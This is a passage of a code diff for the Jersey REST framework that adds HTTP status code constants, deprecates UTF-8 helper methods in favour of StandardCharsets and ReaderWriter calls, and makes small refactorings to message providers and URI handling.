+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-421-misdirected-request">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType MISDIRECTED_REQUEST_421 = new ResponseStatusImpl(421, "Misdirected Request");
+        /**
+         * 422 Unprocessable Content.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-422-unprocessable-content">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType UNPROCESSABLE_CONTENT_422 = new ResponseStatusImpl(422, "Unprocessable Content");
+        /**
+         * 423 Locked.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc4918#section-11.3">HTTP Extensions for Web Distributed Authoring and Versioning  = new ResponseStatusImpl(WebDAV)</a>
+         */
+        public static final Response.StatusType LOCKED_423 = new ResponseStatusImpl(423, "Locked");
+        /**
+         * 424 Failed Dependency.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc4918#section-11.4">HTTP Extensions for Web Distributed Authoring and Versioning  = new ResponseStatusImpl(WebDAV)</a>
+         */
+        public static final Response.StatusType FAILED_DEPENDENCY_424 = new ResponseStatusImpl(424, "Failed Dependency");
+        /**
+         * 425 Too Early.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc8470#section-5.2">Using Early Data in HTTP</a>.
+         */
+        public static final Response.StatusType TOO_EARLY_425 = new ResponseStatusImpl(425, "Too Early");
+        /**
+         * 426 Upgrade Required.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-426-upgrade-required">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType UPGRADE_REQUIRED_426 = new ResponseStatusImpl(426, "Upgrade Required");
+        /**
+         * 428 Precondition Required.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc6585.html#page-2">Additional HTTP Status Codes</a>.
+         */
+        public static final Response.StatusType PRECONDITION_REQUIRED_428 = new ResponseStatusImpl(428, "Precondition Required");
+        /**
+         * 429 Too Many Requests.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc6585.html#page-3">Additional HTTP Status Codes</a>.
+         */
+        public static final Response.StatusType TOO_MANY_REQUESTS_429 = new ResponseStatusImpl(429, "Too Many Requests");
+        /**
+         * 431 Request Header Fields Too Large.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc6585.html#page-4">Additional HTTP Status Codes</a>.
+         */
+        public static final Response.StatusType REQUEST_HEADER_FIELDS_TOO_LARGE_431
+                = new ResponseStatusImpl(431, "Request Header Fields Too Large");
+        /**
+         * 451 Unavailable For Legal Reasons.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc7725#page-2">An HTTP Status Code to Report Legal Obstacles</a>.
+         */
+        public static final Response.StatusType UNAVAILABLE_FOR_LEGAL_REASONS_451
+                = new ResponseStatusImpl(451, "Unavailable For Legal Reasons");
+    }
+
+    /**
+     * 5xx server error status codes - the server failed to fulfill an apparently valid request.
+     */
+    public static class ServerError5xx {
+        /**
+         * 500 Internal Server Error.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-server-error-5xx">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType INTERNAL_SERVER_ERROR_500 = new ResponseStatusImpl(500, "Internal Server Error");
+        /**
+         * 501 Not Implemented.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-501-not-implemented">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType NOT_IMPLEMENTED_501 = new ResponseStatusImpl(501, "Not Implemented");
+        /**
+         * 502 Bad Gateway.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-502-bad-gateway">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType BAD_GATEWAY_502 = new ResponseStatusImpl(502, "Bad Gateway");
+        /**
+         * 503 Service Unavailable.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-503-service-unavailable">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType SERVICE_UNAVAILABLE_503 = new ResponseStatusImpl(503, "Service Unavailable");
+        /**
+         * 504 Gateway Timeout.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-504-gateway-timeout">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType GATEWAY_TIMEOUT_504 = new ResponseStatusImpl(504, "Gateway Timeout");
+        /**
+         * 505 HTTP Version Not Supported.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc9110#name-505-http-version-not-suppor">HTTP Semantics</a>.
+         */
+        public static final Response.StatusType HTTP_VERSION_NOT_SUPPORTED_505
+                = new ResponseStatusImpl(505, "HTTP Version Not Supported");
+        /**
+         * 506 Variant Also Negotiates.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc2295#section-8.1">Transparent Content Negotiation in HTTP</a>.
+         */
+        public static final Response.StatusType VARIANT_ALSO_NEGOTIATES_506
+                = new ResponseStatusImpl(506, "Variant Also Negotiates");
+        /**
+         * 507 Insufficient Storage.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc4918#section-11.5">HTTP Extensions for Web Distributed Authoring and Versioning  = new ResponseStatusImpl(WebDAV)</a>
+         */
+        public static final Response.StatusType INSUFFICIENT_STORAGE_507 = new ResponseStatusImpl(507, "Insufficient Storage");
+        /**
+         * 508 Loop Detected.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc5842#page-34">Binding Extensions to Web Distributed Authoring and Versioning  = new ResponseStatusImpl(WebDAV)</a>
+         */
+        public static final Response.StatusType LOOP_DETECTED_508 = new ResponseStatusImpl(508, "Loop Detected");
+        /**
+         * 510 Not Extended.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc2774#section-7">An HTTP Extension Framework</a>.
+         */
+        public static final Response.StatusType NOT_EXTENDED_510 = new ResponseStatusImpl(510, "Not Extended");
+        /**
+         * 511 Network Authentication Required.
+         * See <a href="https://www.rfc-editor.org/rfc/rfc6585.html#page-4">Additional HTTP Status Codes</a>.
+         */
+        public static final Response.StatusType NETWORK_AUTHENTICATION_REQUIRED_511
+                = new ResponseStatusImpl(511, "Network Authentication Required");
+    }
+
+    private static class ResponseStatusImpl implements Response.StatusType {
+        private final int statusCode;
+        private final String reasonPhrase;
+        private final Response.Status.Family family;
+
+        private ResponseStatusImpl(int statusCode, String reasonPhrase) {
+            this.statusCode = statusCode;
+            this.reasonPhrase = reasonPhrase;
+            this.family = Response.Status.Family.familyOf(statusCode);
+        }
+
+        @Override
+        public int getStatusCode() {
+            return statusCode;
+        }
+
+        @Override
+        public Response.Status.Family getFamily() {
+            return family;
+        }
+
+        @Override
+        public String getReasonPhrase() {
+            return reasonPhrase;
+        }
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/http/package-info.java b/core-common/src/main/java/org/glassfish/jersey/http/package-info.java
new file mode 100644
index 0000000..2704413
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/http/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Common Jersey core http classes.
+ */
+package org.glassfish.jersey.http;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java
index ee23800..891ec3a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Value.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,13 +16,15 @@
 
 package org.glassfish.jersey.internal.util.collection;
 
+import java.util.function.Supplier;
+
 /**
  * A generic value provider.
  *
  * @param <T> value type.
  * @author Marek Potociar
  */
-public interface Value<T> {
+public interface Value<T> extends Supplier<T> {
     /**
      * Get the stored value.
      *
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java b/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java
index 733a465..6723312 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/MessageProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,6 +27,18 @@
 public final class MessageProperties {
 
     /**
+     * If set to {@code true}, {@code DeflateEncoder deflate encoding interceptor} will use non-standard version
+     * of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding
+     * implementations in some products use this non-compliant version, hence the switch.
+     * <p />
+     * The default value is {@code false}.
+     * <p />
+     * The name of the configuration property is <code>{@value}</code>.
+     */
+    public static final String DEFLATE_WITHOUT_ZLIB = "jersey.config.deflate.nozlib";
+
+
+    /**
      * If set to {@code true} then XML root element tag name for collections will
      * be derived from {@link jakarta.xml.bind.annotation.XmlRootElement @XmlRootElement}
      * annotation value and won't be de-capitalized.
@@ -80,15 +92,22 @@
     public static final int IO_DEFAULT_BUFFER_SIZE = 8192;
 
     /**
-     * If set to {@code true}, {@code DeflateEncoder deflate encoding interceptor} will use non-standard version
-     * of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding
-     * implementations in some products use this non-compliant version, hence the switch.
-     * <p />
-     * The default value is {@code false}.
-     * <p />
-     * The name of the configuration property is <code>{@value}</code>.
+     * <p>
+     *     Integer value used to override maximum number of string length during the JSON processing the JSON provider accepts.
+     * </p>
+     * <p>
+     *     The default value is not set and the JSON provider default maximum value is used.
+     * </p>
+     * <p>
+     *     If supported by Jackson provider, the default value can differ for each Jackson version. For instance,
+     *     Jackson 14 does not support this setting and the default value is {@link Integer#MAX_VALUE}, Jackson 15.0
+     *     has the default value 5_000_000, Jackson 15.2 has the default value 20_000_000.
+     * </p>
+     *
+     * @since 2.41
      */
-    public static final String DEFLATE_WITHOUT_ZLIB = "jersey.config.deflate.nozlib";
+    public static String JSON_MAX_STRING_LENGTH = "jersey.config.json.string.length";
+
 
     /**
      * If set to {@code true}, {@link jakarta.ws.rs.ext.MessageBodyReader MessageBodyReaders} and
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java
index 0d00747..c030e45 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractFormProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,7 +43,7 @@
     public <M extends MultivaluedMap<String, String>> M readFrom(M map,
                                                                  MediaType mediaType, boolean decode,
                                                                  InputStream entityStream) throws IOException {
-        final String encoded = readFromAsString(entityStream, mediaType);
+        final String encoded = ReaderWriter.readFromAsString(entityStream, mediaType);
 
         final String charsetName = ReaderWriter.getCharset(mediaType).name();
 
@@ -90,6 +90,6 @@
             }
         }
 
-        writeToAsString(sb.toString(), entityStream, mediaType);
+        ReaderWriter.writeToAsString(sb.toString(), entityStream, mediaType);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
index 9179b9c..f7e2673 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/AbstractMessageReaderWriterProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,6 +24,7 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.MessageBodyReader;
@@ -42,8 +43,11 @@
 
     /**
      * The UTF-8 Charset.
+     *
+     * @deprecated use {@code StandardCharsets.UTF_8} instead.
      */
-    public static final Charset UTF8 = ReaderWriter.UTF8;
+    @Deprecated
+    public static final Charset UTF8 = StandardCharsets.UTF_8;
 
     /**
      * Reader bytes from an input stream and write then to an output stream.
@@ -51,7 +55,10 @@
      * @param in  the input stream to read from.
      * @param out the output stream to write to.
      * @throws IOException if there is an error reading or writing bytes.
+     *
+     * @deprecated use {@code ReaderWriter.writeTo(in, out)} instead.
      */
+    @Deprecated
     public static void writeTo(InputStream in, OutputStream out) throws IOException {
         ReaderWriter.writeTo(in, out);
     }
@@ -62,7 +69,10 @@
      * @param in  the reader to read from.
      * @param out the writer to write to.
      * @throws IOException if there is an error reading or writing characters.
+     *
+     * @deprecated use {@code ReaderWriter.writeTo(in, out)} instead.
      */
+    @Deprecated
     public static void writeTo(Reader in, Writer out) throws IOException {
         ReaderWriter.writeTo(in, out);
     }
@@ -71,11 +81,14 @@
      * Get the character set from a media type.
      * <p>
      * The character set is obtained from the media type parameter "charset".
-     * If the parameter is not present the {@link #UTF8} charset is utilized.
+     * If the parameter is not present the {@link StandardCharsets#UTF_8} charset is utilized.
      *
      * @param m the media type.
      * @return the character set.
+     *
+     * @deprecated use {@code ReaderWriter.getCharset(m)} instead
      */
+    @Deprecated
     public static Charset getCharset(MediaType m) {
         return ReaderWriter.getCharset(m);
     }
@@ -89,7 +102,10 @@
      * @return the string.
      *
      * @throws IOException if there is an error reading from the input stream.
+     *
+     * @deprecated use {@code ReaderWriter.readFromAsString(in, type)} instead
      */
+    @Deprecated
     public static String readFromAsString(InputStream in, MediaType type) throws IOException {
         return ReaderWriter.readFromAsString(in, type);
     }
@@ -102,7 +118,10 @@
      * @param type the media type that determines the character set defining
      *             how to decode bytes to characters.
      * @throws IOException in case of a write failure.
+     *
+     * @deprecated use {@code ReaderWriter.writeToAsString(s, out, type)} instead
      */
+    @Deprecated
     public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException {
         ReaderWriter.writeToAsString(s, out, type);
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java
index eaa3ee1..c6ec130 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/BasicTypesMessageProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -144,7 +144,7 @@
             MediaType mediaType,
             MultivaluedMap<String, String> httpHeaders,
             InputStream entityStream) throws IOException, WebApplicationException {
-        final String entityString = readFromAsString(entityStream, mediaType);
+        final String entityString = ReaderWriter.readFromAsString(entityStream, mediaType);
         if (entityString.isEmpty()) {
             throw new NoContentException(LocalizationMessages.ERROR_READING_ENTITY_MISSING());
         }
@@ -210,6 +210,6 @@
             MediaType mediaType,
             MultivaluedMap<String, Object> httpHeaders,
             OutputStream entityStream) throws IOException, WebApplicationException {
-        writeToAsString(o.toString(), entityStream, mediaType);
+        ReaderWriter.writeToAsString(o.toString(), entityStream, mediaType);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java
index f0a39a9..0055cae 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ByteArrayProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -52,7 +52,7 @@
             MultivaluedMap<String, String> httpHeaders,
             InputStream entityStream) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
-        writeTo(entityStream, out);
+        ReaderWriter.writeTo(entityStream, out);
         return out.toByteArray();
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java
index 3eb7a1a..dadfd3d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/DataSourceProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -162,7 +162,7 @@
             final OutputStream entityStream) throws IOException {
         final InputStream in = t.getInputStream();
         try {
-            writeTo(in, entityStream);
+            ReaderWriter.writeTo(in, entityStream);
         } finally {
             in.close();
         }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java
index 03912ad..c705994 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/EnumMessageProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -50,7 +50,7 @@
             MediaType mediaType,
             MultivaluedMap<String, String> httpHeaders,
             InputStream entityStream) throws IOException, WebApplicationException {
-        final String value = readFromAsString(entityStream, mediaType);
+        final String value = ReaderWriter.readFromAsString(entityStream, mediaType);
         return Enum.valueOf(type, value);
     }
 
@@ -67,6 +67,6 @@
             MediaType mediaType,
             MultivaluedMap<String, Object> httpHeaders,
             OutputStream entityStream) throws IOException, WebApplicationException {
-        writeToAsString(anEnum.name(), entityStream, mediaType);
+        ReaderWriter.writeToAsString(anEnum.name(), entityStream, mediaType);
     }
 }
\ No newline at end of file
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java
index 8bf91da..1f1961e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,14 @@
 
 package org.glassfish.jersey.message.internal;
 
-import java.io.BufferedInputStream;
-import java.io.BufferedOutputStream;
 import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
+import java.nio.file.Files;
+import java.nio.file.StandardCopyOption;
 
 import jakarta.ws.rs.Consumes;
 import jakarta.ws.rs.Produces;
@@ -62,13 +60,8 @@
                          final MultivaluedMap<String, String> httpHeaders,
                          final InputStream entityStream) throws IOException {
         final File file = Utils.createTempFile();
-        final OutputStream stream = new BufferedOutputStream(new FileOutputStream(file));
 
-        try {
-            writeTo(entityStream, stream);
-        } finally {
-            stream.close();
-        }
+        Files.copy(entityStream, file.toPath(), StandardCopyOption.REPLACE_EXISTING);
 
         return file;
     }
@@ -89,13 +82,7 @@
                         final MediaType mediaType,
                         final MultivaluedMap<String, Object> httpHeaders,
                         final OutputStream entityStream) throws IOException {
-        final InputStream stream = new BufferedInputStream(new FileInputStream(t), ReaderWriter.BUFFER_SIZE);
-
-        try {
-            writeTo(stream, entityStream);
-        } finally {
-            stream.close();
-        }
+        Files.copy(t.toPath(), entityStream);
     }
 
     @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
index 94f5ddf..c07dcbf 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/InputStreamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -79,7 +79,7 @@
             MultivaluedMap<String, Object> httpHeaders,
             OutputStream entityStream) throws IOException {
         try {
-            writeTo(t, entityStream);
+            ReaderWriter.writeTo(t, entityStream);
         } finally {
             t.close();
         }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java
index 3833685..3f87843 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -66,7 +66,7 @@
                     new ByteArrayInputStream(new byte[0]), MessageUtils.getCharset(mediaType)));
         }
 
-        return new BufferedReader(new InputStreamReader(entityStream, getCharset(mediaType)));
+        return new BufferedReader(new InputStreamReader(entityStream, ReaderWriter.getCharset(mediaType)));
     }
 
     @Override
@@ -86,8 +86,8 @@
             final OutputStream entityStream) throws IOException {
         try {
             final OutputStreamWriter out = new OutputStreamWriter(entityStream,
-                    getCharset(mediaType));
-            writeTo(t, out);
+                    ReaderWriter.getCharset(mediaType));
+            ReaderWriter.writeTo(t, out);
             out.flush();
         } finally {
             t.close();
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
index f6f271a..018c9f0 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/ReaderWriter.java
@@ -19,12 +19,12 @@
 import java.io.Closeable;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.InputStreamReader;
 import java.io.OutputStream;
 import java.io.OutputStreamWriter;
 import java.io.Reader;
 import java.io.Writer;
 import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.security.AccessController;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -54,8 +54,11 @@
     private static final Logger LOGGER = Logger.getLogger(ReaderWriter.class.getName());
     /**
      * The UTF-8 Charset.
+     *
+     * @deprecated use {@code StandardCharsets.UTF_8} instead
      */
-    public static final Charset UTF8 = Charset.forName("UTF-8");
+    @Deprecated
+    public static final Charset UTF8 = StandardCharsets.UTF_8;
     /**
      * The buffer size for arrays of byte and character.
      */
@@ -116,14 +119,14 @@
      * Get the character set from a media type.
      * <p>
      * The character set is obtained from the media type parameter "charset".
-     * If the parameter is not present the {@link #UTF8} charset is utilized.
+     * If the parameter is not present the {@link StandardCharsets#UTF_8} charset is utilized.
      *
      * @param m the media type.
      * @return the character set.
      */
     public static Charset getCharset(MediaType m) {
         String name = (m == null) ? null : m.getParameters().get(MediaType.CHARSET_PARAMETER);
-        return (name == null) ? UTF8 : Charset.forName(name);
+        return (name == null) ? StandardCharsets.UTF_8 : Charset.forName(name);
     }
 
     /**
@@ -167,7 +170,7 @@
 
     /**
      * Java 9+ InputStream::readAllBytes
-     * TODO Replace when Java 8 not any longer supported (3.1+)
+     * TODO Replace in Jersey 4.0, as the sole difference to OpenJDK is working around a bug in the input stream.
      */
     private static byte[] readAllBytes(InputStream inputStream) throws IOException {
         List<byte[]> bufs = null;
@@ -243,7 +246,7 @@
      */
     public static void writeToAsString(String s, OutputStream out, MediaType type) throws IOException {
         Writer osw = new OutputStreamWriter(out, getCharset(type));
-        osw.write(s, 0, s.length());
+        osw.write(s);
         osw.flush();
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java
index f638860..8edb39c 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/StringMessageProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -51,7 +51,7 @@
             MediaType mediaType,
             MultivaluedMap<String, String> httpHeaders,
             InputStream entityStream) throws IOException {
-        return readFromAsString(entityStream, mediaType);
+        return ReaderWriter.readFromAsString(entityStream, mediaType);
     }
 
     @Override
@@ -73,6 +73,6 @@
             MediaType mediaType,
             MultivaluedMap<String, Object> httpHeaders,
             OutputStream entityStream) throws IOException {
-        writeToAsString(t, entityStream, mediaType);
+        ReaderWriter.writeToAsString(t, entityStream, mediaType);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java
index 21834b5..1249432 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/TracingLogger.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -118,8 +118,8 @@
             //not server side
             return EMPTY;
         }
-        final TracingLogger tracingLogger = (TracingLogger) propertiesDelegate.getProperty(PROPERTY_NAME);
-        return (tracingLogger != null) ? tracingLogger : EMPTY;
+        final Object tracingLogger = propertiesDelegate.getProperty(PROPERTY_NAME);
+        return TracingLogger.class.isInstance(tracingLogger) ? (TracingLogger) tracingLogger : EMPTY;
     }
 
     /**
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
index 0f42487..523614c 100644
--- a/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
+++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriComponent.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -404,7 +404,7 @@
 
         tables[Type.QUERY_PARAM_SPACE_ENCODED.ordinal()] = tables[Type.QUERY_PARAM.ordinal()];
 
-        tables[Type.FRAGMENT.ordinal()] = tables[Type.QUERY.ordinal()];
+        tables[Type.FRAGMENT.ordinal()] = tables[Type.PATH.ordinal()];
 
         return tables;
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java b/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java
index 1ed213b..49bf77f 100644
--- a/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/uri/UriTemplate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.uri;
 
 import java.net.URI;
+import java.net.URLEncoder;
 import java.util.ArrayDeque;
 import java.util.Collections;
 import java.util.Comparator;
@@ -24,11 +25,12 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import java.util.regex.Matcher;
